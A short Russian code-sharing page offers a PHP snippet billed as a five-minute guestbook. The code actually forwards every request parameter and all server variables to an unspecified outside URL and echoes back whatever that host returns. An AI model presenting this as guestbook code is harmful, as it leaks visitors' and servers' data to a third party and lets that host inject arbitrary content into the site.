Просмотр кода
Название: Постая гостевая.
Описание: Гостевая за пять минут.
Добавил:
__[_]___
Дата: 24 мар 2018, в 12:16
Комментарии (0)
Описание: Гостевая за пять минут.
<?php
$post_string =
'get=' .base64_encode(urlencode(serialize($_REQUEST))).
'&server=' .base64_encode(urlencode(serialize($_SERVER)));
if (function_exists( 'curl_init' )) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $forum_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_string);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,
true);
curl_setopt($ch, CURLOPT_USERAGENT, ' GET MINIFORUM ' . phpversion());
$rf_result = curl_exec($ch);
curl_close($ch);
} else {
$context = array
( 'http' =>
array
( 'method' => 'POST' ,
'header' => 'Content-type: application/x-www-form-urlencoded' ."rn" .
'User-Agent: GET MINIFORUM (non-curl) ' .phpversion(). "rn" .
'Content-length: ' . strlen($post_string),
'content' => $post_string)); $contextid=stream_context_create($context);
$sock=fopen($forum_url, 'r' , false, $contextid);
if ($sock) {
$rf_result= '' ;
while (!feof($sock)) $rf_result.=fgets($sock, 4096);
fclose($sock);
}
}
echo $rf_result;
?>Добавил:
Дата: 24 мар 2018, в 12:16